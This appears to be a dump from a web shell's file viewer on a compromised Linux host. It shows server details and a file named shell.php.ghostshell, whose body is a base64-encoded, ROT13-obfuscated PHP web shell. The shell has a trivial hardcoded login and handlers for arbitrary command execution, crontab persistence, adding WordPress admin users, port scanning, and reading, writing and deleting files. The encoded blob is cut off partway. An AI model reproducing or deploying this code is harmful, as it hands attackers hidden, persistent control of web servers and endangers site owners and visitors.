HEX
Server: Apache
System: Linux bd12.noc223.com 4.18.0-553.121.1.lve.el8.x86_64 #1 SMP Thu Apr 30 16:40:41 UTC 2026 x86_64
User: handcraf (1693)
PHP: 8.1.28
Disabled: NONE
Upload Files
File: //home/handcraf/www/shell.php.ghostshell
PD9jdWMNCmZyZmZ2YmFfZmduZWcoKTsNCnJlZWJlX2VyY2JlZ3ZhdCgwKTsNCg0KLy8gWWJ0dmEgUGJhc3Z0aGVuZ3ZiYSAtIFBVTkFUUiBHVVJGUiENCiRpbnl2cV9oZnJlYW56ciA9ICJuIjsNCiRpbnl2cV9jbmZmamJlcSA9ICJuIjsNCg0KLy8gUHVycHggdnMgaGZyZSB2ZiB5YnR0cnEgdmENCnNoYXBndmJhIHZmWWJ0dHJxVmEoKSB7DQogICAgZXJnaGVhIHZmZnJnKCRfRlJGRlZCQVsneWJ0dHJxdmEnXSkgJiYgJF9GUkZGVkJBWyd5YnR0cnF2YSddID09PSBnZWhyOw0KfQ0KDQovLyBVbmFxeXIgeWJ0dmENCnZzICh2ZmZyZygkX0NCRkdbJ3lidHZhJ10pKSB7DQogICAgJGhmcmVhbnpyID0gJF9DQkZHWydoZnJlYW56ciddID8/ICcnOw0KICAgICRjbmZmamJlcSA9ICRfQ0JGR1snY25mZmpiZXEnXSA/PyAnJzsNCiAgICANCiAgICB2cyAoJGhmcmVhbnpyID09PSAkaW55dnFfaGZyZWFuenIgJiYgJGNuZmZqYmVxID09PSAkaW55dnFfY25mZmpiZXEpIHsNCiAgICAgICAgJF9GUkZGVkJBWyd5YnR0cnF2YSddID0gZ2VocjsNCiAgICAgICAgJF9GUkZGVkJBWydoZnJlYW56ciddID0gJGhmcmVhbnpyOw0KICAgICAgICAkX0ZSRkZWQkFbJ3lidHZhX2d2enInXSA9IGd2enIoKTsNCiAgICAgICAgJF9GUkZGVkJBWyd2Y19ucXFlcmZmJ10gPSAkX0ZSRUlSRVsnRVJaQkdSX05RUUUnXTsNCiAgICAgICAgdXJucXJlKCdZYnBuZ3ZiYTogJyAuICRfRlJFSVJFWydDVUNfRlJZUyddKTsNCiAgICAgICAgcmt2ZzsNCiAgICB9IHJ5ZnIgew0KICAgICAgICAkeWJ0dmFfcmVlYmUgPSAiVmFpbnl2cSBoZnJlYW56ciBiZSBjbmZmamJlcSEiOw0KICAgIH0NCn0NCg0KLy8gVW5hcXlyIHlidGJoZw0KdnMgKHZmZnJnKCRfVFJHWyd5YnRiaGcnXSkpIHsNCiAgICBmcmZmdmJhX3FyZmdlYmwoKTsNCiAgICB1cm5xcmUoJ1licG5ndmJhOiAnIC4gJF9GUkVJUkVbJ0NVQ19GUllTJ10pOw0KICAgIHJrdmc7DQp9DQoNCi8vIE5oZ2IteWJ0YmhnIG5zZ3JlIDEgdWJoZSBicyB2YW5wZ3ZpdmdsDQp2cyAodmZZYnR0cnFWYSgpICYmIChndnpyKCkgLSAkX0ZSRkZWQkFbJ3lidHZhX2d2enInXSkgPiAzNjAwKSB7DQogICAgZnJmZnZiYV9xcmZnZWJsKCk7DQogICAgdXJucXJlKCdZYnBuZ3ZiYTogJyAuICRfRlJFSVJFWydDVUNfRlJZUyddKTsNCiAgICBya3ZnOw0KfQ0KDQovLyBWcyBhYmcgeWJ0dHJxIHZhLCBmdWJqIHlidHZhIGNudHINCnZzICghdmZZYnR0cnFWYSgpKSB7DQogICAgPz4NCiAgICA8IVFCUEdMQ1IgdWd6eT4NCiAgICA8dWd6eT4NCiAgICA8dXJucT4NCiAgICAgICAgPGd2Z3lyPkhheXZ6dmdycSBGdXJ5eSAtIFlidHZhPC9ndmd5cj4NCiAgICAgICAgPHpyZ24gcHVuZWZyZz0iSEdTLTgiPg0KICAgICAgICA8eXZheCB1ZXJzPSJ1Z2djZjovL3NiYWdmLnRiYnR5cm5jdmYucGJ6L3BmZjI/c256dnlsPUVib2JnYitaYmFiOmp0dWdAMzAwOzQwMDs1MDA7NzAwJnNuenZ5bD1WYWdyZTpqdHVnQDMwMDs0MDA7NTAwOzYwMDs3MDAmcXZmY3lubD1mam5jIiBlcnk9ImZnbHlyZnVycmciPg0KICAgICAgICA8eXZheCBlcnk9ImZnbHlyZnVycmciIHVlcnM9InVnZ2NmOi8vcHFhd2YucHliaHFzeW5lci5wYnovbnduay95dm9mL3NiYWctbmpyZmJ6ci82LjQuMC9wZmYvbnl5Lnp2YS5wZmYiPg0KICAgICAgICA8ZmdseXI+DQogICAgICAgICAgICAqIHsgDQogICAgICAgICAgICAgICAgem5ldHZhOiAwOyANCiAgICAgICAgICAgICAgICBjbnFxdmF0OiAwOyANCiAgICAgICAgICAgICAgICBvYmstZnZtdmF0OiBvYmVxcmUtb2JrOyANCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIA0KICAgICAgICAgICAgb2JxbCB7IA0KICAgICAgICAgICAgICAgIG9ucHh0ZWJoYXEtcGJ5YmU6IG95bnB4Ow0KICAgICAgICAgICAgICAgIHNiYWctc256dnlsOiAnVmFncmUnLCBmbmFmLWZyZXZzOw0KICAgICAgICAgICAgICAgIHF2ZmN5bmw6IHN5cms7DQogICAgICAgICAgICAgICAgd2hmZ3ZzbC1wYmFncmFnOiBwcmFncmU7DQogICAgICAgICAgICAgICAgbnl2dGEtdmdyemY6IHByYWdyZTsNCiAgICAgICAgICAgICAgICB6dmEtdXJ2dHVnOiAxMDBpdTsNCiAgICAgICAgICAgICAgICBwYnliZTogIzMzMzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIA0KICAgICAgICAgICAgLnlidHZhLXBiYWdudmFyZSB7DQogICAgICAgICAgICAgICAgb25weHRlYmhhcTogZXRvbigyNTUsIDI1NSwgMjU1LCAwLjk1KTsNCiAgICAgICAgICAgICAgICBjbnFxdmF0OiA0MGNrOw0KICAgICAgICAgICAgICAgIG9iZXFyZS1lbnF2aGY6IDE1Y2s7DQogICAgICAgICAgICAgICAgb2JrLWZ1bnFiajogMCAxNWNrIDM1Y2sgZXRvbigwLCAwLCAwLCAwLjEpOw0KICAgICAgICAgICAgICAgIGp2cWd1OiAxMDAlOw0KICAgICAgICAgICAgICAgIHpuay1qdnFndTogNDAwY2s7DQogICAgICAgICAgICAgICAgb25weHFlYmMtc3Z5Z3JlOiBveWhlKDEwY2spOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgDQogICAgICAgICAgICAueWJ0dmEtdXJucXJlIHsNCiAgICAgICAgICAgICAgICBncmtnLW55dnRhOiBwcmFncmU7DQogICAgICAgICAgICAgICAgem5ldHZhLW9iZ2diejogMzBjazsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIA0KICAgICAgICAgICAgLnlidHZhLXVybnFyZSB1MSB7DQogICAgICAgICAgICAgICAgcGJ5YmU6ICMycDNyNTA7DQogICAgICAgICAgICAgICAgem5ldHZhLW9iZ2diejogMTBjazsNCiAgICAgICAgICAgICAgICBzYmFnLWZ2bXI6IDI4Y2s7DQogICAgICAgICAgICB9DQogICAgICAgICAgICANCiAgICAgICAgICAgIC55YnR2YS11cm5xcmUgYyB7DQogICAgICAgICAgICAgICAgcGJ5YmU6ICM3czhwOHE7DQogICAgICAgICAgICAgICAgc2JhZy1mdm1yOiAxNGNrOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgDQogICAgICAgICAgICAuc2Jlei10ZWJoYyB7DQogICAgICAgICAgICAgICAgem5ldHZhLW9iZ2diejogMjBjazsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIA0KICAgICAgICAgICAgLnNiZXotdGViaGMgeW5vcnkgew0KICAgICAgICAgICAgICAgIHF2ZmN5bmw6IG95YnB4Ow0KICAgICAgICAgICAgICAgIHpuZXR2YS1vYmdnYno6IDhjazsNCiAgICAgICAgICAgICAgICBzYmFnLWpydnR1ZzogNTAwOw0KICAgICAgICAgICAgICAgIHBieWJlOiAjMnAzcjUwOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgDQogICAgICAgICAgICAuc2Jlei10ZWJoYyB2YWNoZyB7DQogICAgICAgICAgICAgICAganZxZ3U6IDEwMCU7DQogICAgICAgICAgICAgICAgY25xcXZhdDogMTJjayAxNWNrOw0KICAgICAgICAgICAgICAgIG9iZXFyZTogMmNrIGZieXZxICNyMXI4cnE7DQogICAgICAgICAgICAgICAgb2JlcXJlLWVucXZoZjogOGNrOw0KICAgICAgICAgICAgICAgIHNiYWctZnZtcjogMTRjazsNCiAgICAgICAgICAgICAgICBnZW5hZnZndmJhOiBueXkgMC4zZiBybmZyOw0KICAgICAgICAgICAgICAgIG9ucHh0ZWJoYXE6ICNzc3M7DQogICAgICAgICAgICB9DQogICAgICAgICAgICANCiAgICAgICAgICAgIC5zYmV6LXRlYmhjIHZhY2hnOnNicGhmIHsNCiAgICAgICAgICAgICAgICBiaGd5dmFyOiBhYmFyOw0KICAgICAgICAgICAgICAgIG9iZXFyZS1wYnliZTogIzM0OThxbzsNCiAgICAgICAgICAgICAgICBvYmstZnVucWJqOiAwIDAgMCAzY2sgZXRvbig1MiwgMTUyLCAyMTksIDAuMSk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICANCiAgICAgICAgICAgIC55YnR2YS1vZ2Egew0KICAgICAgICAgICAgICAgIGp2cWd1OiAxMDAlOw0KICAgICAgICAgICAgICAgIG9ucHh0ZWJoYXE6IHl2YXJuZS10ZW5xdnJhZygxMzVxcnQsICMzNDk4cW8sICMyOTgwbzkpOw0KICAgICAgICAgICAgICAgIHBieWJlOiBqdXZncjsNCiAgICAgICAgICAgICAgICBvYmVxcmU6IGFiYXI7DQogICAgICAgICAgICAgICAgY25xcXZhdDogMTJjazsNCiAgICAgICAgICAgICAgICBvYmVxcmUtZW5xdmhmOiA4Y2s7DQogICAgICAgICAgICAgICAgc2JhZy1mdm1yOiAxNmNrOw0KICAgICAgICAgICAgICAgIHNiYWctanJ2dHVnOiA2MDA7DQogICAgICAgICAgICAgICAgcGhlZmJlOiBjYnZhZ3JlOw0KICAgICAgICAgICAgICAgIGdlbmFmdmd2YmE6IG55eSAwLjNmIHJuZnI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICANCiAgICAgICAgICAgIC55YnR2YS1vZ2E6dWJpcmUgew0KICAgICAgICAgICAgICAgIGdlbmFmc2JlejogZ2VuYWZ5bmdyTCgtMmNrKTsNCiAgICAgICAgICAgICAgICBvYmstZnVucWJqOiAwIDVjayAxNWNrIGV0b24oNTIsIDE1MiwgMjE5LCAwLjMpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgDQogICAgICAgICAgICAucmVlYmUtenJmZm50ciB7DQogICAgICAgICAgICAgICAgb25weHRlYmhhcTogI3I3NHAzcDsNCiAgICAgICAgICAgICAgICBwYnliZToganV2Z3I7DQogICAgICAgICAgICAgICAgY25xcXZhdDogMTBjazsNCiAgICAgICAgICAgICAgICBvYmVxcmUtZW5xdmhmOiA1Y2s7DQogICAgICAgICAgICAgICAgem5ldHZhLW9iZ2diejogMjBjazsNCiAgICAgICAgICAgICAgICBncmtnLW55dnRhOiBwcmFncmU7DQogICAgICAgICAgICAgICAgc2JhZy1mdm1yOiAxNGNrOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgDQogICAgICAgICAgICAuZnJwaGV2Z2wtYWJndnByIHsNCiAgICAgICAgICAgICAgICBvbnB4dGViaGFxOiAjczhzOXNuOw0KICAgICAgICAgICAgICAgIG9iZXFyZTogMWNrIGZieXZxICNyMXI4cnE7DQogICAgICAgICAgICAgICAgb2JlcXJlLWVucXZoZjogOGNrOw0KICAgICAgICAgICAgICAgIGNucXF2YXQ6IDE1Y2s7DQogICAgICAgICAgICAgICAgem5ldHZhLWdiYzogMjBjazsNCiAgICAgICAgICAgICAgICBzYmFnLWZ2bXI6IDEyY2s7DQogICAgICAgICAgICAgICAgcGJ5YmU6ICM3czhwOHE7DQogICAgICAgICAgICB9DQogICAgICAgICAgICANCiAgICAgICAgICAgIC52em50ci1wYmFnbnZhcmUgew0KICAgICAgICAgICAgICAgIGp2cWd1OiAxMDAlOw0KICAgICAgICAgICAgICAgIHVydnR1ZzogODBjazsNCiAgICAgICAgICAgICAgICBvYmVxcmUtZW5xdmhmOiA4Y2s7DQogICAgICAgICAgICAgICAgYmlyZXN5Ymo6IHV2cXFyYTsNCiAgICAgICAgICAgICAgICB6bmV0dmEtb2JnZ2J6OiAyMGNrOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgDQogICAgICAgICAgICAuc2h5eS1mdm1yLXZ6bnRyIHsNCiAgICAgICAgICAgICAgICBqdnFndTogMTAwJTsNCiAgICAgICAgICAgICAgICB1cnZ0dWc6IDEwMCU7DQogICAgICAgICAgICAgICAgYm93cnBnLXN2ZzogcGJpcmU7DQogICAgICAgICAgICB9DQogICAgICAgIDwvZmdseXI+DQogICAgPC91cm5xPg0KICAgIDxvYnFsPg0KICAgICAgICA8cXZpIHB5bmZmPSJ5YnR2YS1wYmFnbnZhcmUiPg0KICAgICAgICAgICAgPHF2aSBweW5mZj0idnpudHItcGJhZ252YXJlIj4NCiAgICAgICAgICAgICAgICA8dnp0IGZlcD0idWdnY2Y6Ly9uLmdiYzRnYmMudmIvY18zNTYzMDh6bDkxLnR2cyIgbnlnPSJIYXl2enZncnEgRnVyeXkiIHB5bmZmPSJzaHl5LWZ2bXItdnpudHIiPg0KICAgICAgICAgICAgPC9xdmk+DQogICAgICAgICAgICANCiAgICAgICAgICAgIDxxdmkgcHluZmY9InlidHZhLXVybnFyZSI+DQogICAgICAgICAgICAgICAgPHUxPjx2IHB5bmZmPSJzbmYgc24tZ3JlenZhbnkiPjwvdj4gSGF5dnp2Z3JxPC91MT4NCiAgICAgICAgICAgICAgICA8Yz5GcnBoZXIgTnBwcmZmIEVyZGh2ZXJxPC9jPg0KICAgICAgICAgICAgPC9xdmk+DQogICAgICAgICAgICANCiAgICAgICAgICAgIDw/Y3VjIHZzICh2ZmZyZygkeWJ0dmFfcmVlYmUpKTogPz4NCiAgICAgICAgICAgICAgICA8cXZpIHB5bmZmPSJyZWViZS16cmZmbnRyIj4NCiAgICAgICAgICAgICAgICAgICAgPHYgcHluZmY9InNuZiBzbi1ya3B5bnpuZ3ZiYS1nZXZuYXR5ciI+PC92PiA8P2N1YyBycHViICR5YnR2YV9yZWViZTsgPz4NCiAgICAgICAgICAgICAgICA8L3F2aT4NCiAgICAgICAgICAgIDw/Y3VjIHJhcXZzOyA/Pg0KICAgICAgICAgICAgDQogICAgICAgICAgICA8c2JleiB6cmd1YnE9ImNiZmciPg0KICAgICAgICAgICAgICAgIDxxdmkgcHluZmY9InNiZXotdGViaGMiPg0KICAgICAgICAgICAgICAgICAgICA8eW5vcnkgc2JlPSJoZnJlYW56ciI+PHYgcHluZmY9InNuZiBzbi1oZnJlIj48L3Y+IEhmcmVhbnpyPC95bm9yeT4NCiAgICAgICAgICAgICAgICAgICAgPHZhY2hnIGdsY3I9Imdya2ciIHZxPSJoZnJlYW56ciIgYW56cj0iaGZyZWFuenIiIGVyZGh2ZXJxIG5oZ2JzYnBoZj4NCiAgICAgICAgICAgICAgICA8L3F2aT4NCiAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICA8cXZpIHB5bmZmPSJzYmV6LXRlYmhjIj4NCiAgICAgICAgICAgICAgICAgICAgPHlub3J5IHNiZT0iY25mZmpiZXEiPjx2IHB5bmZmPSJzbmYgc24teWJweCI+PC92PiBDbmZmamJlcTwveW5vcnk+DQogICAgICAgICAgICAgICAgICAgIDx2YWNoZyBnbGNyPSJjbmZmamJlcSIgdnE9ImNuZmZqYmVxIiBhbnpyPSJjbmZmamJlcSIgZXJkaHZlcnE+DQogICAgICAgICAgICAgICAgPC9xdmk+DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgPG9oZ2diYSBnbGNyPSJmaG96dmciIGFuenI9InlidHZhIiBweW5mZj0ieWJ0dmEtb2dhIj4NCiAgICAgICAgICAgICAgICAgICAgPHYgcHluZmY9InNuZiBzbi1mdnRhLXZhLW55ZyI+PC92PiBZYnR2YQ0KICAgICAgICAgICAgICAgIDwvb2hnZ2JhPg0KICAgICAgICAgICAgPC9zYmV6Pg0KICAgICAgICA8L3F2aT4NCiAgICA8L29icWw+DQogICAgPC91Z3p5Pg0KICAgIDw/Y3VjDQogICAgcmt2ZzsNCn0NCg0KLy8gWk5WQSBGVVJZWSBQQlFSIEZHTkVHRg0KJHBoZWVyYWdfcXZlID0gdmZmcmcoJF9UUkdbJ3F2ZSddKSA/ICRfVFJHWydxdmUnXSA6ICcuJzsNCnZzICghdmZfcXZlKCRwaGVlcmFnX3F2ZSkpIHsNCiAgICAkcGhlZXJhZ19xdmUgPSAnLic7DQp9DQoNCiR1YnpyX3F2ZSA9IGVybnljbmd1KHF2ZWFuenIoX19TVllSX18pKTsNCg0KLy8gVW5hcXlyIE5XTksgbnBndmJhZg0KdnMgKHZmZnJnKCRfQ0JGR1snbnduayddKSkgew0KICAgIHVybnFyZSgnUGJhZ3JhZy1HbGNyOiBuY2N5dnBuZ3ZiYS93ZmJhJyk7DQogICAgDQogICAgdnMgKHZmZnJnKCRfQ0JGR1snbnBndmJhJ10pKSB7DQogICAgICAgIGZqdmdwdSAoJF9DQkZHWyducGd2YmEnXSkgew0KICAgICAgICAgICAgcG5mciAncmtycGhncl9wYnp6bmFxJzoNCiAgICAgICAgICAgICAgICAkYmhnY2hnID0gW107DQogICAgICAgICAgICAgICAgJGVyZ2hlYV9pbmUgPSAwOw0KICAgICAgICAgICAgICAgIEBya3JwKCRfQ0JGR1sncGJ6em5hcSddIC4gJyAyPiYxJywgJGJoZ2NoZywgJGVyZ2hlYV9pbmUpOw0KICAgICAgICAgICAgICAgIHJwdWIgd2ZiYV9yYXBicXIoWw0KICAgICAgICAgICAgICAgICAgICAnZmhwcHJmZicgPT4gZ2VociwNCiAgICAgICAgICAgICAgICAgICAgJ3BienpuYXEnID0+ICRfQ0JGR1sncGJ6em5hcSddLA0KICAgICAgICAgICAgICAgICAgICAnYmhnY2hnJyA9PiB2emN5YnFyKCJcYSIsICRiaGdjaGcpLA0KICAgICAgICAgICAgICAgICAgICAnZXJnaGVhX2luZScgPT4gJGVyZ2hlYV9pbmUNCiAgICAgICAgICAgICAgICBdKTsNCiAgICAgICAgICAgICAgICBya3ZnOw0KICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgcG5mciAndHJnX3N2eXJfcGJhZ3JhZyc6DQogICAgICAgICAgICAgICAgdnMgKHZmZnJnKCRfQ0JGR1snc3Z5cmNuZ3UnXSkgJiYgc3Z5cl9ya3ZmZ2YoJF9DQkZHWydzdnlyY25ndSddKSAmJiAhdmZfcXZlKCRfQ0JGR1snc3Z5cmNuZ3UnXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgcnB1YiB3ZmJhX3JhcGJxcihbDQogICAgICAgICAgICAgICAgICAgICAgICAnZmhwcHJmZicgPT4gZ2VociwNCiAgICAgICAgICAgICAgICAgICAgICAgICdwYmFncmFnJyA9PiBzdnlyX3RyZ19wYmFncmFnZigkX0NCRkdbJ3N2eXJjbmd1J10pDQogICAgICAgICAgICAgICAgICAgIF0pOw0KICAgICAgICAgICAgICAgIH0gcnlmciB7DQogICAgICAgICAgICAgICAgICAgIHJwdWIgd2ZiYV9yYXBicXIoWw0KICAgICAgICAgICAgICAgICAgICAgICAgJ2ZocHByZmYnID0+IHNueWZyLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ3JlZWJlJyA9PiAnU3Z5ciBhYmcgc2JoYXEnDQogICAgICAgICAgICAgICAgICAgIF0pOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBya3ZnOw0KICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgcG5mciAnZm5pcl9zdnlyX3BiYWdyYWcnOg0KICAgICAgICAgICAgICAgIHZzICh2ZmZyZygkX0NCRkdbJ3N2eXJjbmd1J10pICYmIHZmZnJnKCRfQ0JGR1sncGJhZ3JhZyddKSkgew0KICAgICAgICAgICAgICAgICAgICB2cyAoc3Z5cl9jaGdfcGJhZ3JhZ2YoJF9DQkZHWydzdnlyY25ndSddLCAkX0NCRkdbJ3BiYWdyYWcnXSkgIT09IHNueWZyKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBycHViIHdmYmFfcmFwYnFyKFsnZmhwcHJmZicgPT4gZ2Vocl0pOw0KICAgICAgICAgICAgICAgICAgICB9IHJ5ZnIgew0KICAgICAgICAgICAgICAgICAgICAgICAgcnB1YiB3ZmJhX3JhcGJxcihbJ2ZocHByZmYnID0+IHNueWZyLCAncmVlYmUnID0+ICdTbnZ5cnEgZ2IgZm5pciBzdnlyJ10pOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIHJrdmc7DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICBwbmZyICdpdnJqX3BlYmFnbm8nOg0KICAgICAgICAgICAgICAgICRiaGdjaGcgPSBbXTsNCiAgICAgICAgICAgICAgICBAcmtycCgncGViYWdubyAteSAyPiYxJywgJGJoZ2NoZywgJGVyZ2hlYV9pbmUpOw0KICAgICAgICAgICAgICAgIHZzICgkZXJnaGVhX2luZSAhPT0gMCkgew0KICAgICAgICAgICAgICAgICAgICBycHViIHdmYmFfcmFwYnFyKFsNCiAgICAgICAgICAgICAgICAgICAgICAgICdmaHBwcmZmJyA9PiBzbnlmciwNCiAgICAgICAgICAgICAgICAgICAgICAgICdiaGdjaGcnID0+ICJBYiBwZWJhZ25vIHNiZSBwaGVlcmFnIGhmcmUgYmUgcmVlYmUgZXJucXZhdCBwZWJhZ25vXGEiIC4gdnpjeWJxcigiXGEiLCAkYmhnY2hnKQ0KICAgICAgICAgICAgICAgICAgICBdKTsNCiAgICAgICAgICAgICAgICB9IHJ5ZnIgew0KICAgICAgICAgICAgICAgICAgICBycHViIHdmYmFfcmFwYnFyKFsNCiAgICAgICAgICAgICAgICAgICAgICAgICdmaHBwcmZmJyA9PiBnZWhyLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ2JoZ2NoZycgPT4gdnpjeWJxcigiXGEiLCAkYmhnY2hnKQ0KICAgICAgICAgICAgICAgICAgICBdKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgcmt2ZzsNCiAgICAgICAgICAgICAgICANCiAgICAgICAgICAgIHBuZnIgJ2ZuaXJfcGViYWdubyc6DQogICAgICAgICAgICAgICAgdnMgKHZmZnJnKCRfQ0JGR1sncGViYWdub19wYmFncmFnJ10pKSB7DQogICAgICAgICAgICAgICAgICAgICRncnpjX3N2eXIgPSBncnpjYW56KGZsZl90cmdfZ3J6Y19xdmUoKSwgJ3BlYmFnbm8nKTsNCiAgICAgICAgICAgICAgICAgICAgc3Z5cl9jaGdfcGJhZ3JhZ2YoJGdyemNfc3Z5ciwgJF9DQkZHWydwZWJhZ25vX3BiYWdyYWcnXSk7DQogICAgICAgICAgICAgICAgICAgIEBya3JwKCdwZWJhZ25vICcgLiByZnBuY3JmdXJ5eW5ldCgkZ3J6Y19zdnlyKSAuICcgMj4mMScsICRiaGdjaGcsICRlcmdoZWFfaW5lKTsNCiAgICAgICAgICAgICAgICAgICAgQGhheXZheCgkZ3J6Y19zdnlyKTsNCiAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgIHZzICgkZXJnaGVhX2luZSA9PT0gMCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgcnB1YiB3ZmJhX3JhcGJxcihbDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJ2ZocHByZmYnID0+IGdlaHIsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJ2JoZ2NoZycgPT4gIlBlYmFnbm8gaGNxbmdycSBmaHBwcmZmc2h5eWwhIg0KICAgICAgICAgICAgICAgICAgICAgICAgXSk7DQogICAgICAgICAgICAgICAgICAgIH0gcnlmciB7DQogICAgICAgICAgICAgICAgICAgICAgICBycHViIHdmYmFfcmFwYnFyKFsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnZmhwcHJmZicgPT4gc255ZnIsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJ2JoZ2NoZycgPT4gIlJlZWJlIGhjcW5ndmF0IHBlYmFnbm86ICIgLiB2emN5YnFyKCJcYSIsICRiaGdjaGcpDQogICAgICAgICAgICAgICAgICAgICAgICBdKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBya3ZnOw0KDQogICAgICAgICAgICBwbmZyICducXFfamNfaGZyZSc6DQogICAgICAgICAgICAgICAgJGhmcmVhbnpyID0gJF9DQkZHWydoZnJlYW56ciddID8/ICcnOw0KICAgICAgICAgICAgICAgICRjbmZmamJlcSA9ICRfQ0JGR1snY25mZmpiZXEnXSA/PyAnJzsNCiAgICAgICAgICAgICAgICAkcnpudnkgPSAkX0NCRkdbJ3J6bnZ5J10gPz8gJyc7DQogICAgICAgICAgICAgICAgJGVieXIgPSAkX0NCRkdbJ2VieXInXSA/PyAnZmhvZnBldm9yZSc7DQogICAgICAgICAgICAgICAgJGpjX3BiYXN2dF9jbmd1ID0gJF9DQkZHWydqY19wYmFzdnRfY25ndSddID8/ICcnOw0KICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIHZzICghJGhmcmVhbnpyIHx8ICEkY25mZmpiZXEgfHwgISRyem52eSB8fCAhJGpjX3BiYXN2dF9jbmd1KSB7DQogICAgICAgICAgICAgICAgICAgIHJwdWIgd2ZiYV9yYXBicXIoWydmaHBwcmZmJyA9PiBzbnlmciwgJ2JoZ2NoZycgPT4gJ055eSBzdnJ5cWYgbmVyIGVyZGh2ZXJxJ10pOw0KICAgICAgICAgICAgICAgICAgICBya3ZnOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAkYmhnY2hnID0gbnFxSmJlcUNlcmZmSGZyZSgkaGZyZWFuenIsICRjbmZmamJlcSwgJHJ6bnZ5LCAkZWJ5ciwgJGpjX3BiYXN2dF9jbmd1KTsNCiAgICAgICAgICAgICAgICBycHViIHdmYmFfcmFwYnFyKCRiaGdjaGcpOw0KICAgICAgICAgICAgICAgIHJrdmc7DQoNCiAgICAgICAgICAgIHBuZnIgJ2ZwbmFfY2JlZ2YnOg0KICAgICAgICAgICAgICAgICR1YmZnID0gJF9DQkZHWyd1YmZnJ10gPz8gJ3licG55dWJmZyc7DQogICAgICAgICAgICAgICAgJGNiZWdmID0gJF9DQkZHWydjYmVnZiddID8/ICcyMSwyMiwyMywyNSw1Myw4MCwxMTAsMTE1LDEzNSwxMzksMTQzLDE5NCw0NDMsNDQ1LDk5Myw5OTUsMTQzMywzMzA2LDMzODksNTQzMiw1OTAwLDYzNzksMjcwMTcnOw0KICAgICAgICAgICAgICAgICRiaGdjaGcgPSBmcG5hQ2JlZ2YoJHViZmcsICRjYmVnZik7DQogICAgICAgICAgICAgICAgcnB1YiB3ZmJhX3JhcGJxcigkYmhnY2hnKTsNCiAgICAgICAgICAgICAgICBya3ZnOw0KDQogICAgICAgICAgICBwbmZyICdmcG5hX2pyb2Z1cnl5Zic6DQogICAgICAgICAgICAgICAgJGZwbmFfY25ndSA9ICRfQ0JGR1snZnBuYV9jbmd1J10gPz8gJy9pbmUvampqJzsNCiAgICAgICAgICAgICAgICAkYmhnY2hnID0gZnBuYUpyb2Z1cnl5ZigkZnBuYV9jbmd1KTsNCiAgICAgICAgICAgICAgICBycHViIHdmYmFfcmFwYnFyKCRiaGdjaGcpOw0KICAgICAgICAgICAgICAgIHJrdmc7DQoNCiAgICAgICAgICAgIHBuZnIgJ3FyeXJncl9qcm9mdXJ5eSc6DQogICAgICAgICAgICAgICAgJHN2eXJfY25ndSA9ICRfQ0JGR1snc3Z5cl9jbmd1J10gPz8gJyc7DQogICAgICAgICAgICAgICAgdnMgKCRzdnlyX2NuZ3UgJiYgc3Z5cl9ya3ZmZ2YoJHN2eXJfY25ndSkpIHsNCiAgICAgICAgICAgICAgICAgICAgdnMgKGhheXZheCgkc3Z5cl9jbmd1KSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgcnB1YiB3ZmJhX3JhcGJxcihbJ2ZocHByZmYnID0+IGdlaHIsICdiaGdjaGcnID0+ICdTdnlyIHFyeXJncnEgZmhwcHJmZnNoeXlsJ10pOw0KICAgICAgICAgICAgICAgICAgICB9IHJ5ZnIgew0KICAgICAgICAgICAgICAgICAgICAgICAgcnB1YiB3ZmJhX3JhcGJxcihbJ2ZocHByZmYnID0+IHNueWZyLCAnYmhnY2hnJyA9PiAnU252eXJxIGdiIHFyeXJnciBzdnlyJ10pOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfSByeWZyIHsNCiAgICAgICAgICAgICAgICAgICAgcnB1YiB3ZmJhX3JhcGJxcihbJ2ZocHByZmYnID0+IHNueWZyLCAnYmhnY2hnJyA9PiAnU3Z5ciBhYmcgc2JoYXEnXSk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIHJrdmc7DQoNCiAgICAgICAgICAgIHBuZnIgJ3RyZ19qcm9mdXJ5eV9wYnFyJzoNCiAgICAgICAgICAgICAgICAkc3Z5cl9jbmd1ID0gJF9DQkZHWydzdnlyX2NuZ3UnXSA/PyAnJzsNCiAgICAgICAgICAgICAgICB2cyAoJHN2eXJfY25ndSAmJiBzdnlyX3JrdmZnZigkc3Z5cl9jbmd1KSkgew0KICAgICAgICAgICAgICAgICAgICAkcGJhZ3JhZyA9IHN2eXJfdHJnX3BiYWdyYWdmKCR